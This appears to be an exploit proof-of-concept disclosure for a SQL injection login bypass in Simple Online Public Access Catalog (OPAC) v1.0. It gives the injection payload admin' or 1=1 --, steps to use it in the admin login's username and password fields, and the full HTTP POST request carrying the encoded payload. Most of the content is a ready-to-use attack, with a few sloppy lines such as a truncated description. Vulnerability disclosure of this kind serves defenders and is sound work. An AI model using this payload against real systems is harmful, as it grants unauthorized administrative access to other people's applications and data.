Hakcoder Update POC History

1 contributor

52 lines (40 sloc) | 1.51 KB

```
# Exploit Title: Simple Online Public Access Catalog (OPAC) - SQL injection
# Exploit Author: Vijay Reddy
# Vendor Name: oretnom23
# Vendor Homepage: https://www.sourcecodester.com/php/15028/simple-online-public-access-catalog-op
# Software Link: https://www.sourcecodester.com/php/15028/simple-online-public-access-catalog-opac
# Version: v1.0
# Tested on: Windows 11, Apache
# CVE: ytd


Description:-
A SQL Injection issue in Simple Onlne Public Access Catalog (OPAC) v.1.0 allows an attacker to log


`
Payload used:-
admin' or 1=1 --

`
Parameter:-
login id and password


`
Steps to reproduce:-

1. First go to admin login

2. http://localhost/opac/admin/login.php
2. In that put the payload in username and password field
```

```
3. As you can see we got logged in


#Request Body

POST /opac/Actions.php?a=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 57
Origin: http://localhost/
Connection: close
Referer: http://localhost/opac/admin/login.php
Cookie: PHPSESSID=42nj8l3fi0hg6lngdh385agpp5
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username=admin'+or+1%3D1+--+&password=admin'+or+1%3D1+--+
```